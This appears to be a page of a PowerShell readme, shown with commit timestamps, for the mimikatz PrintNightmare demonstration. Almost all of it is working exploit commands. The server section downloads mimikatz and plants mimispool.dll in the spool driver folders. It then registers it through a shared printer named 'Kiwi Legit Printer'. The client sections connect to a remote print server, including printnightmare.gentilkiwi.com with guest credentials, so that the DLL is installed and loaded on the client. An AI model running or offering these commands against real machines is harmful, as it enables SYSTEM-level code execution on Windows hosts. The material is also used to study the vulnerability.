2021-07-29 23:42:02 +00:00
|
|
|
## PowerShell commands
|
|
|
|
|
|
|
|
### Server
|
|
|
|
|
|
|
|
#### install
|
|
|
|
```
|
2021-07-30 21:18:04 +00:00
|
|
|
$printerName = 'Kiwi Legit Printer'
|
|
|
|
$system32 = $env:systemroot + '\system32'
|
|
|
|
$drivers = $system32 + '\spool\drivers'
|
|
|
|
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
|
|
|
|
|
|
|
|
Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip' -OutFile '.\mimikatz_trunk.zip'
|
|
|
|
Expand-Archive -Path '.\mimikatz_trunk.zip' -DestinationPath '.\mimikatz_trunk'
|
|
|
|
|
|
|
|
Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
|
|
|
|
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
|
|
|
|
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
|
|
|
|
|
|
|
|
Add-PrinterDriver -Name 'Generic / Text Only'
|
|
|
|
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
|
|
|
|
|
|
|
|
New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
|
|
|
|
|
|
|
|
New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
|
|
|
|
|
|
|
|
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
|
|
|
|
|
|
|
|
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
|
|
|
|
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
|
|
|
|
|
2021-07-29 23:42:02 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
#### uninstall
|
|
|
|
```
|
2021-07-30 21:18:04 +00:00
|
|
|
$printerName = 'Kiwi Legit Printer'
|
|
|
|
$system32 = $env:systemroot + '\system32'
|
|
|
|
$drivers = $system32 + '\spool\drivers'
|
|
|
|
|
|
|
|
Remove-Printer -Name $printerName
|
|
|
|
Start-Sleep -Seconds 2
|
|
|
|
Remove-PrinterDriver -Name 'Generic / Text Only'
|
|
|
|
|
2021-07-29 23:42:02 +00:00
|
|
|
Remove-Item -Force -Path ($drivers + '\x64\3\mimispool.dll')
|
|
|
|
Remove-Item -Force -Path ($drivers + '\W32X86\3\mimispool.dll')
|
|
|
|
Remove-Item -Force -Path ($system32 + '\mimispool.dll')
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
### Client
|
|
|
|
|
|
|
|
#### Any computer with explicit credential to `printnightmare.gentilkiwi.com`
|
|
|
|
```
|
2021-07-30 21:18:04 +00:00
|
|
|
$serverName = 'printnightmare.gentilkiwi.com'
|
|
|
|
$username = 'gentilguest'
|
|
|
|
$password = 'password'
|
|
|
|
$printerName = 'Kiwi Legit Printer'
|
|
|
|
|
|
|
|
$fullprinterName = '\\' + $serverName + '\' + $printerName
|
|
|
|
$credential = (New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString -AsPlainText -String $password -Force)))
|
|
|
|
|
|
|
|
Remove-PSDrive -Force -Name 'KiwiLegitPrintServer' -ErrorAction SilentlyContinue
|
|
|
|
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
|
|
|
|
|
|
|
|
New-PSDrive -Name 'KiwiLegitPrintServer' -Root ('\\' + $serverName + '\print$') -PSProvider FileSystem -Credential $credential | Out-Null
|
|
|
|
Add-Printer -ConnectionName $fullprinterName
|
|
|
|
|
|
|
|
$driver = (Get-Printer -Name $fullprinterName).DriverName
|
|
|
|
Remove-Printer -Name $fullprinterName
|
|
|
|
Remove-PrinterDriver -Name $driver
|
2021-07-29 23:42:02 +00:00
|
|
|
Remove-PSDrive -Force -Name 'KiwiLegitPrintServer'
|
|
|
|
# mimispool still in spool\drivers
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
#### Computer in domain (single sign on with current user to print server)
|
|
|
|
```
|
2021-07-30 21:18:04 +00:00
|
|
|
$serverName = 'print.lab.local'
|
|
|
|
$printerName = 'Kiwi Legit Printer'
|
|
|
|
|
|
|
|
$fullprinterName = '\\' + $serverName + '\' + $printerName
|
|
|
|
|
|
|
|
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
|
|
|
|
Add-Printer -ConnectionName $fullprinterName
|
|
|
|
|
|
|
|
$driver = (Get-Printer -Name $fullprinterName).DriverName
|
|
|
|
Remove-Printer -Name $fullprinterName
|
|
|
|
Remove-PrinterDriver -Name $driver
|
2021-07-29 23:42:02 +00:00
|
|
|
# mimispool still in spool\drivers
|
|
|
|
|
2021-07-30 21:18:04 +00:00
|
|
|
```
|